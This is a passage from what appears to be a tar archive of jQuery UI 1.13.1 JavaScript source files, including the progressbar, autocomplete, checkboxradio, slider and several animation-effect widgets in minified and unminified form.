t=this._get(e,"onChangeMonthYear");t&&t.apply(e.input?e.input[0]:null,[e.selectedYear,e.selectedMonth+1,e])},_getNumberOfMonths:function(e){e=this._get(e,"numberOfMonths");return null==e?[1,1]:"number"==typeof e?[1,e]:e},_getMinMaxDate:function(e,t){return this._determineDate(e,this._get(e,t+"Date"),null)},_getDaysInMonth:function(e,t){return 32-this._daylightSavingAdjust(new Date(e,t,32)).getDate()},_getFirstDayOfMonth:function(e,t){return new Date(e,t,1).getDay()},_canAdjustMonth:function(e,t,a,i){var s=this._getNumberOfMonths(e),a=this._daylightSavingAdjust(new Date(a,i+(t<0?t:s[0]*s[1]),1));return t<0&&a.setDate(this._getDaysInMonth(a.getFullYear(),a.getMonth())),this._isInRange(e,a)},_isInRange:function(e,t){var a,i=this._getMinMaxDate(e,"min"),s=this._getMinMaxDate(e,"max"),r=null,n=null,e=this._get(e,"yearRange");return e&&(e=e.split(":"),a=(new Date).getFullYear(),r=parseInt(e[0],10),n=parseInt(e[1],10),e[0].match(/[+\-].*/)&&(r+=a),e[1].match(/[+\-].*/)&&(n+=a)),(!i||t.getTime()>=i.getTime())&&(!s||t.getTime()<=s.getTime())&&(!r||t.getFullYear()>=r)&&(!n||t.getFullYear()<=n)},_getFormatConfig:function(e){var t=this._get(e,"shortYearCutoff");return{shortYearCutoff:t="string"!=typeof t?t:(new Date).getFullYear()%100+parseInt(t,10),dayNamesShort:this._get(e,"dayNamesShort"),dayNames:this._get(e,"dayNames"),monthNamesShort:this._get(e,"monthNamesShort"),monthNames:this._get(e,"monthNames")}},_formatDate:function(e,t,a,i){t||(e.currentDay=e.selectedDay,e.currentMonth=e.selectedMonth,e.currentYear=e.selectedYear);i=t?"object"==typeof t?t:this._daylightSavingAdjust(new Date(i,a,t)):this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay));return this.formatDate(this._get(e,"dateFormat"),i,this._getFormatConfig(e))}}),V.fn.datepicker=function(e){if(!this.length)return this;V.datepicker.initialized||(V(document).on("mousedown",V.datepicker._checkExternalClick),V.datepicker.initialized=!0),0===V("#"+V.datepicker._mainDivId).length&&V("body").append(V.datepicker.dpDiv);var t=Array.prototype.slice.call(arguments,1);return"string"==typeof e&&("isDisabled"===e||"getDate"===e||"widget"===e)||"option"===e&&2===arguments.length&&"string"==typeof arguments[1]?V.datepicker["_"+e+"Datepicker"].apply(V.datepicker,[this[0]].concat(t)):this.each(function(){"string"==typeof e?V.datepicker["_"+e+"Datepicker"].apply(V.datepicker,[this].concat(t)):V.datepicker._attachDatepicker(this,e)})},V.datepicker=new e,V.datepicker.initialized=!1,V.datepicker.uuid=(new Date).getTime(),V.datepicker.version="1.13.1",V.datepicker});�������������������������������������������������������������������������������������������������������������������������js/jquery/ui/progressbar.min.js���������������������������������������������������������������������0000644�����������������00000004754�14717703502�0012605 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Progressbar 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./core"],e):e(jQuery)}(function(t){"use strict";return t.widget("ui.progressbar",{version:"1.13.1",options:{classes:{"ui-progressbar":"ui-corner-all","ui-progressbar-value":"ui-corner-left","ui-progressbar-complete":"ui-corner-right"},max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.attr({role:"progressbar","aria-valuemin":this.min}),this._addClass("ui-progressbar","ui-widget ui-widget-content"),this.valueDiv=t("<div>").appendTo(this.element),this._addClass(this.valueDiv,"ui-progressbar-value","ui-widget-header"),this._refreshValue()},_destroy:function(){this.element.removeAttr("role aria-valuemin aria-valuemax aria-valuenow"),this.valueDiv.remove()},value:function(e){if(void 0===e)return this.options.value;this.options.value=this._constrainedValue(e),this._refreshValue()},_constrainedValue:function(e){return void 0===e&&(e=this.options.value),this.indeterminate=!1===e,"number"!=typeof e&&(e=0),!this.indeterminate&&Math.min(this.options.max,Math.max(this.min,e))},_setOptions:function(e){var i=e.value;delete e.value,this._super(e),this.options.value=this._constrainedValue(i),this._refreshValue()},_setOption:function(e,i){"max"===e&&(i=Math.max(this.min,i)),this._super(e,i)},_setOptionDisabled:function(e){this._super(e),this.element.attr("aria-disabled",e),this._toggleClass(null,"ui-state-disabled",!!e)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var e=this.options.value,i=this._percentage();this.valueDiv.toggle(this.indeterminate||e>this.min).width(i.toFixed(0)+"%"),this._toggleClass(this.valueDiv,"ui-progressbar-complete",null,e===this.options.max)._toggleClass("ui-progressbar-indeterminate",null,this.indeterminate),this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=t("<div>").appendTo(this.valueDiv),this._addClass(this.overlayDiv,"ui-progressbar-overlay"))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":e}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==e&&(this.oldValue=e,this._trigger("change")),e===this.options.max&&this._trigger("complete")}})});��������������������js/jquery/ui/effect-drop.js�������������������������������������������������������������������������0000644�����������������00000003045�14717703502�0011660 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Drop 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Drop Effect //>>group: Effects //>>description: Moves an element in one direction and hides it at the same time. //>>docs: http://api.jqueryui.com/drop-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "drop", "hide", function( options, done ) { var distance, element = $( this ), mode = options.mode, show = mode === "show", direction = options.direction || "left", ref = ( direction === "up" || direction === "down" ) ? "top" : "left", motion = ( direction === "up" || direction === "left" ) ? "-=" : "+=", oppositeMotion = ( motion === "+=" ) ? "-=" : "+=", animation = { opacity: 0 }; $.effects.createPlaceholder( element ); distance = options.distance || element[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ) / 2; animation[ ref ] = motion + distance; if ( show ) { element.css( animation ); animation[ ref ] = oppositeMotion + distance; animation.opacity = 1; } // Animate element.animate( animation, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-clip.js�������������������������������������������������������������������������0000644�����������������00000003023�14717703502�0011637 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Clip 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Clip Effect //>>group: Effects //>>description: Clips the element on and off like an old TV. //>>docs: http://api.jqueryui.com/clip-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "clip", "hide", function( options, done ) { var start, animate = {}, element = $( this ), direction = options.direction || "vertical", both = direction === "both", horizontal = both || direction === "horizontal", vertical = both || direction === "vertical"; start = element.cssClip(); animate.clip = { top: vertical ? ( start.bottom - start.top ) / 2 : start.top, right: horizontal ? ( start.right - start.left ) / 2 : start.right, bottom: vertical ? ( start.bottom - start.top ) / 2 : start.bottom, left: horizontal ? ( start.right - start.left ) / 2 : start.left }; $.effects.createPlaceholder( element ); if ( options.mode === "show" ) { element.cssClip( animate.clip ); animate.clip = start; } element.animate( animate, { queue: false, duration: options.duration, easing: options.easing, complete: done } ); } ); } ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/progressbar.js�������������������������������������������������������������������������0000644�����������������00000010167�14717703502�0012016 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Progressbar 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Progressbar //>>group: Widgets /* eslint-disable max-len */ //>>description: Displays a status indicator for loading state, standard percentage, and other progress indicators. /* eslint-enable max-len */ //>>docs: http://api.jqueryui.com/progressbar/ //>>demos: http://jqueryui.com/progressbar/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/progressbar.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.progressbar", { version: "1.13.1", options: { classes: { "ui-progressbar": "ui-corner-all", "ui-progressbar-value": "ui-corner-left", "ui-progressbar-complete": "ui-corner-right" }, max: 100, value: 0, change: null, complete: null }, min: 0, _create: function() { // Constrain initial value this.oldValue = this.options.value = this._constrainedValue(); this.element.attr( { // Only set static values; aria-valuenow and aria-valuemax are // set inside _refreshValue() role: "progressbar", "aria-valuemin": this.min } ); this._addClass( "ui-progressbar", "ui-widget ui-widget-content" ); this.valueDiv = $( "<div>" ).appendTo( this.element ); this._addClass( this.valueDiv, "ui-progressbar-value", "ui-widget-header" ); this._refreshValue(); }, _destroy: function() { this.element.removeAttr( "role aria-valuemin aria-valuemax aria-valuenow" ); this.valueDiv.remove(); }, value: function( newValue ) { if ( newValue === undefined ) { return this.options.value; } this.options.value = this._constrainedValue( newValue ); this._refreshValue(); }, _constrainedValue: function( newValue ) { if ( newValue === undefined ) { newValue = this.options.value; } this.indeterminate = newValue === false; // Sanitize value if ( typeof newValue !== "number" ) { newValue = 0; } return this.indeterminate ? false : Math.min( this.options.max, Math.max( this.min, newValue ) ); }, _setOptions: function( options ) { // Ensure "value" option is set after other values (like max) var value = options.value; delete options.value; this._super( options ); this.options.value = this._constrainedValue( value ); this._refreshValue(); }, _setOption: function( key, value ) { if ( key === "max" ) { // Don't allow a max less than min value = Math.max( this.min, value ); } this._super( key, value ); }, _setOptionDisabled: function( value ) { this._super( value ); this.element.attr( "aria-disabled", value ); this._toggleClass( null, "ui-state-disabled", !!value ); }, _percentage: function() { return this.indeterminate ? 100 : 100 * ( this.options.value - this.min ) / ( this.options.max - this.min ); }, _refreshValue: function() { var value = this.options.value, percentage = this._percentage(); this.valueDiv .toggle( this.indeterminate || value > this.min ) .width( percentage.toFixed( 0 ) + "%" ); this ._toggleClass( this.valueDiv, "ui-progressbar-complete", null, value === this.options.max ) ._toggleClass( "ui-progressbar-indeterminate", null, this.indeterminate ); if ( this.indeterminate ) { this.element.removeAttr( "aria-valuenow" ); if ( !this.overlayDiv ) { this.overlayDiv = $( "<div>" ).appendTo( this.valueDiv ); this._addClass( this.overlayDiv, "ui-progressbar-overlay" ); } } else { this.element.attr( { "aria-valuemax": this.options.max, "aria-valuenow": value } ); if ( this.overlayDiv ) { this.overlayDiv.remove(); this.overlayDiv = null; } } if ( this.oldValue !== value ) { this.oldValue = value; this._trigger( "change" ); } if ( value === this.options.max ) { this._trigger( "complete" ); } } } ); } ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-puff.min.js���������������������������������������������������������������������0000644�����������������00000000756�14717703502�0012444 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Puff 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect","./effect-scale"],e):e(jQuery)}(function(t){"use strict";return t.effects.define("puff","hide",function(e,f){e=t.extend(!0,{},e,{fade:!0,percent:parseInt(e.percent,10)||150});t.effects.effect.scale.call(this,e,f)})});������������������js/jquery/ui/effect-shake.js������������������������������������������������������������������������0000644�����������������00000003506�14717703502�0012011 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Shake 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Shake Effect //>>group: Effects //>>description: Shakes an element horizontally or vertically n times. //>>docs: http://api.jqueryui.com/shake-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "shake", function( options, done ) { var i = 1, element = $( this ), direction = options.direction || "left", distance = options.distance || 20, times = options.times || 3, anims = times * 2 + 1, speed = Math.round( options.duration / anims ), ref = ( direction === "up" || direction === "down" ) ? "top" : "left", positiveMotion = ( direction === "up" || direction === "left" ), animation = {}, animation1 = {}, animation2 = {}, queuelen = element.queue().length; $.effects.createPlaceholder( element ); // Animation animation[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance; animation1[ ref ] = ( positiveMotion ? "+=" : "-=" ) + distance * 2; animation2[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance * 2; // Animate element.animate( animation, speed, options.easing ); // Shakes for ( ; i < times; i++ ) { element .animate( animation1, speed, options.easing ) .animate( animation2, speed, options.easing ); } element .animate( animation1, speed, options.easing ) .animate( animation, speed / 2, options.easing ) .queue( done ); $.effects.unshift( element, queuelen, anims + 1 ); } ); } ); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/checkboxradio.min.js�������������������������������������������������������������������0000644�����������������00000010353�14717703502�0013051 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Checkboxradio 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./core"],e):e(jQuery)}(function(s){"use strict";return s.widget("ui.checkboxradio",[s.ui.formResetMixin,{version:"1.13.1",options:{disabled:null,label:null,icon:!0,classes:{"ui-checkboxradio-label":"ui-corner-all","ui-checkboxradio-icon":"ui-corner-all"}},_getCreateOptions:function(){var e,i=this,t=this._super()||{};return this._readType(),e=this.element.labels(),this.label=s(e[e.length-1]),this.label.length||s.error("No label found for checkboxradio widget"),this.originalLabel="",this.label.contents().not(this.element[0]).each(function(){i.originalLabel+=3===this.nodeType?s(this).text():this.outerHTML}),this.originalLabel&&(t.label=this.originalLabel),null!=(e=this.element[0].disabled)&&(t.disabled=e),t},_create:function(){var e=this.element[0].checked;this._bindFormResetHandler(),null==this.options.disabled&&(this.options.disabled=this.element[0].disabled),this._setOption("disabled",this.options.disabled),this._addClass("ui-checkboxradio","ui-helper-hidden-accessible"),this._addClass(this.label,"ui-checkboxradio-label","ui-button ui-widget"),"radio"===this.type&&this._addClass(this.label,"ui-checkboxradio-radio-label"),this.options.label&&this.options.label!==this.originalLabel?this._updateLabel():this.originalLabel&&(this.options.label=this.originalLabel),this._enhance(),e&&this._addClass(this.label,"ui-checkboxradio-checked","ui-state-active"),this._on({change:"_toggleClasses",focus:function(){this._addClass(this.label,null,"ui-state-focus ui-visual-focus")},blur:function(){this._removeClass(this.label,null,"ui-state-focus ui-visual-focus")}})},_readType:function(){var e=this.element[0].nodeName.toLowerCase();this.type=this.element[0].type,"input"===e&&/radio|checkbox/.test(this.type)||s.error("Can't create checkboxradio on element.nodeName="+e+" and element.type="+this.type)},_enhance:function(){this._updateIcon(this.element[0].checked)},widget:function(){return this.label},_getRadioGroup:function(){var e=this.element[0].name,i="input[name='"+s.escapeSelector(e)+"']";return e?(this.form.length?s(this.form[0].elements).filter(i):s(i).filter(function(){return 0===s(this)._form().length})).not(this.element):s([])},_toggleClasses:function(){var e=this.element[0].checked;this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",e),this.options.icon&&"checkbox"===this.type&&this._toggleClass(this.icon,null,"ui-icon-check ui-state-checked",e)._toggleClass(this.icon,null,"ui-icon-blank",!e),"radio"===this.type&&this._getRadioGroup().each(function(){var e=s(this).checkboxradio("instance");e&&e._removeClass(e.label,"ui-checkboxradio-checked","ui-state-active")})},_destroy:function(){this._unbindFormResetHandler(),this.icon&&(this.icon.remove(),this.iconSpace.remove())},_setOption:function(e,i){if("label"!==e||i){if(this._super(e,i),"disabled"===e)return this._toggleClass(this.label,null,"ui-state-disabled",i),void(this.element[0].disabled=i);this.refresh()}},_updateIcon:function(e){var i="ui-icon ui-icon-background ";this.options.icon?(this.icon||(this.icon=s("<span>"),this.iconSpace=s("<span> </span>"),this._addClass(this.iconSpace,"ui-checkboxradio-icon-space")),"checkbox"===this.type?(i+=e?"ui-icon-check ui-state-checked":"ui-icon-blank",this._removeClass(this.icon,null,e?"ui-icon-blank":"ui-icon-check")):i+="ui-icon-blank",this._addClass(this.icon,"ui-checkboxradio-icon",i),e||this._removeClass(this.icon,null,"ui-icon-check ui-state-checked"),this.icon.prependTo(this.label).after(this.iconSpace)):void 0!==this.icon&&(this.icon.remove(),this.iconSpace.remove(),delete this.icon)},_updateLabel:function(){var e=this.label.contents().not(this.element[0]);this.icon&&(e=e.not(this.icon[0])),(e=this.iconSpace?e.not(this.iconSpace[0]):e).remove(),this.label.append(this.options.label)},refresh:function(){var e=this.element[0].checked,i=this.element[0].disabled;this._updateIcon(e),this._toggleClass(this.label,"ui-checkboxradio-checked","ui-state-active",e),null!==this.options.label&&this._updateLabel(),i!==this.options.disabled&&this._setOptions({disabled:i})}}]),s.ui.checkboxradio});�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/autocomplete.min.js��������������������������������������������������������������������0000644�����������������00000020514�14717703502�0012745 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Autocomplete 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./menu","./core"],e):e(jQuery)}(function(o){"use strict";return o.widget("ui.autocomplete",{version:"1.13.1",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,liveRegionTimer:null,_create:function(){var i,s,n,e=this.element[0].nodeName.toLowerCase(),t="textarea"===e,e="input"===e;this.isMultiLine=t||!e&&this._isContentEditable(this.element),this.valueMethod=this.element[t||e?"val":"text"],this.isNewMenu=!0,this._addClass("ui-autocomplete-input"),this.element.attr("autocomplete","off"),this._on(this.element,{keydown:function(e){if(this.element.prop("readOnly"))s=n=i=!0;else{s=n=i=!1;var t=o.ui.keyCode;switch(e.keyCode){case t.PAGE_UP:i=!0,this._move("previousPage",e);break;case t.PAGE_DOWN:i=!0,this._move("nextPage",e);break;case t.UP:i=!0,this._keyEvent("previous",e);break;case t.DOWN:i=!0,this._keyEvent("next",e);break;case t.ENTER:this.menu.active&&(i=!0,e.preventDefault(),this.menu.select(e));break;case t.TAB:this.menu.active&&this.menu.select(e);break;case t.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(e),e.preventDefault());break;default:s=!0,this._searchTimeout(e)}}},keypress:function(e){if(i)return i=!1,void(this.isMultiLine&&!this.menu.element.is(":visible")||e.preventDefault());if(!s){var t=o.ui.keyCode;switch(e.keyCode){case t.PAGE_UP:this._move("previousPage",e);break;case t.PAGE_DOWN:this._move("nextPage",e);break;case t.UP:this._keyEvent("previous",e);break;case t.DOWN:this._keyEvent("next",e)}}},input:function(e){if(n)return n=!1,void e.preventDefault();this._searchTimeout(e)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(e){clearTimeout(this.searching),this.close(e),this._change(e)}}),this._initSource(),this.menu=o("<ul>").appendTo(this._appendTo()).menu({role:null}).hide().attr({unselectable:"on"}).menu("instance"),this._addClass(this.menu.element,"ui-autocomplete","ui-front"),this._on(this.menu.element,{mousedown:function(e){e.preventDefault()},menufocus:function(e,t){var i,s;if(this.isNewMenu&&(this.isNewMenu=!1,e.originalEvent&&/^mouse/.test(e.originalEvent.type)))return this.menu.blur(),void this.document.one("mousemove",function(){o(e.target).trigger(e.originalEvent)});s=t.item.data("ui-autocomplete-item"),!1!==this._trigger("focus",e,{item:s})&&e.originalEvent&&/^key/.test(e.originalEvent.type)&&this._value(s.value),(i=t.item.attr("aria-label")||s.value)&&String.prototype.trim.call(i).length&&(clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay(function(){this.liveRegion.html(o("<div>").text(i))},100))},menuselect:function(e,t){var i=t.item.data("ui-autocomplete-item"),s=this.previous;this.element[0]!==o.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=s,this._delay(function(){this.previous=s,this.selectedItem=i})),!1!==this._trigger("select",e,{item:i})&&this._value(i.value),this.term=this._value(),this.close(e),this.selectedItem=i}}),this.liveRegion=o("<div>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(e,t){this._super(e,t),"source"===e&&this._initSource(),"appendTo"===e&&this.menu.element.appendTo(this._appendTo()),"disabled"===e&&t&&this.xhr&&this.xhr.abort()},_isEventTargetInWidget:function(e){var t=this.menu.element[0];return e.target===this.element[0]||e.target===t||o.contains(t,e.target)},_closeOnClickOutside:function(e){this._isEventTargetInWidget(e)||this.close()},_appendTo:function(){var e=this.options.appendTo;return e=(e=(e=e&&(e.jquery||e.nodeType?o(e):this.document.find(e).eq(0)))&&e[0]?e:this.element.closest(".ui-front, dialog")).length?e:this.document[0].body},_initSource:function(){var i,s,n=this;Array.isArray(this.options.source)?(i=this.options.source,this.source=function(e,t){t(o.ui.autocomplete.filter(i,e.term))}):"string"==typeof this.options.source?(s=this.options.source,this.source=function(e,t){n.xhr&&n.xhr.abort(),n.xhr=o.ajax({url:s,data:e,dataType:"json",success:function(e){t(e)},error:function(){t([])}})}):this.source=this.options.source},_searchTimeout:function(s){clearTimeout(this.searching),this.searching=this._delay(function(){var e=this.term===this._value(),t=this.menu.element.is(":visible"),i=s.altKey||s.ctrlKey||s.metaKey||s.shiftKey;e&&(t||i)||(this.selectedItem=null,this.search(null,s))},this.options.delay)},search:function(e,t){return e=null!=e?e:this._value(),this.term=this._value(),e.length<this.options.minLength?this.close(t):!1!==this._trigger("search",t)?this._search(e):void 0},_search:function(e){this.pending++,this._addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:e},this._response())},_response:function(){var t=++this.requestIndex;return function(e){t===this.requestIndex&&this.__response(e),this.pending--,this.pending||this._removeClass("ui-autocomplete-loading")}.bind(this)},__response:function(e){e=e&&this._normalize(e),this._trigger("response",null,{content:e}),!this.options.disabled&&e&&e.length&&!this.cancelSearch?(this._suggest(e),this._trigger("open")):this._close()},close:function(e){this.cancelSearch=!0,this._close(e)},_close:function(e){this._off(this.document,"mousedown"),this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",e))},_change:function(e){this.previous!==this._value()&&this._trigger("change",e,{item:this.selectedItem})},_normalize:function(e){return e.length&&e[0].label&&e[0].value?e:o.map(e,function(e){return"string"==typeof e?{label:e,value:e}:o.extend({},e,{label:e.label||e.value,value:e.value||e.label})})},_suggest:function(e){var t=this.menu.element.empty();this._renderMenu(t,e),this.isNewMenu=!0,this.menu.refresh(),t.show(),this._resizeMenu(),t.position(o.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next(),this._on(this.document,{mousedown:"_closeOnClickOutside"})},_resizeMenu:function(){var e=this.menu.element;e.outerWidth(Math.max(e.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(i,e){var s=this;o.each(e,function(e,t){s._renderItemData(i,t)})},_renderItemData:function(e,t){return this._renderItem(e,t).data("ui-autocomplete-item",t)},_renderItem:function(e,t){return o("<li>").append(o("<div>").text(t.label)).appendTo(e)},_move:function(e,t){if(this.menu.element.is(":visible"))return this.menu.isFirstItem()&&/^previous/.test(e)||this.menu.isLastItem()&&/^next/.test(e)?(this.isMultiLine||this._value(this.term),void this.menu.blur()):void this.menu[e](t);this.search(null,t)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(e,t){this.isMultiLine&&!this.menu.element.is(":visible")||(this._move(e,t),t.preventDefault())},_isContentEditable:function(e){if(!e.length)return!1;var t=e.prop("contentEditable");return"inherit"===t?this._isContentEditable(e.parent()):"true"===t}}),o.extend(o.ui.autocomplete,{escapeRegex:function(e){return e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(e,t){var i=new RegExp(o.ui.autocomplete.escapeRegex(t),"i");return o.grep(e,function(e){return i.test(e.label||e.value||e)})}}),o.widget("ui.autocomplete",o.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(e){return e+(1<e?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(e){var t;this._superApply(arguments),this.options.disabled||this.cancelSearch||(t=e&&e.length?this.options.messages.results(e.length):this.options.messages.noResults,clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay(function(){this.liveRegion.html(o("<div>").text(t))},100))}}),o.ui.autocomplete});������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/slider.min.js��������������������������������������������������������������������������0000644�����������������00000024777�14717703502�0011545 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Slider 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./mouse","./core"],e):e(jQuery)}(function(o){"use strict";return o.widget("ui.slider",o.ui.mouse,{version:"1.13.1",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider ui-slider-"+this.orientation,"ui-widget ui-widget-content"),this._refresh(),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var e,t=this.options,i=this.element.find(".ui-slider-handle"),s=[],a=t.values&&t.values.length||1;for(i.length>a&&(i.slice(a).remove(),i=i.slice(0,a)),e=i.length;e<a;e++)s.push("<span tabindex='0'></span>");this.handles=i.add(o(s.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(e){o(this).data("ui-slider-handle-index",e).attr("tabIndex",0)})},_createRange:function(){var e=this.options;e.range?(!0===e.range&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:Array.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=o("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),"min"!==e.range&&"max"!==e.range||this._addClass(this.range,"ui-slider-range-"+e.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(e){var i,s,a,n,t,h,l=this,r=this.options;return!r.disabled&&(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),t={x:e.pageX,y:e.pageY},i=this._normValueFromMouse(t),s=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var 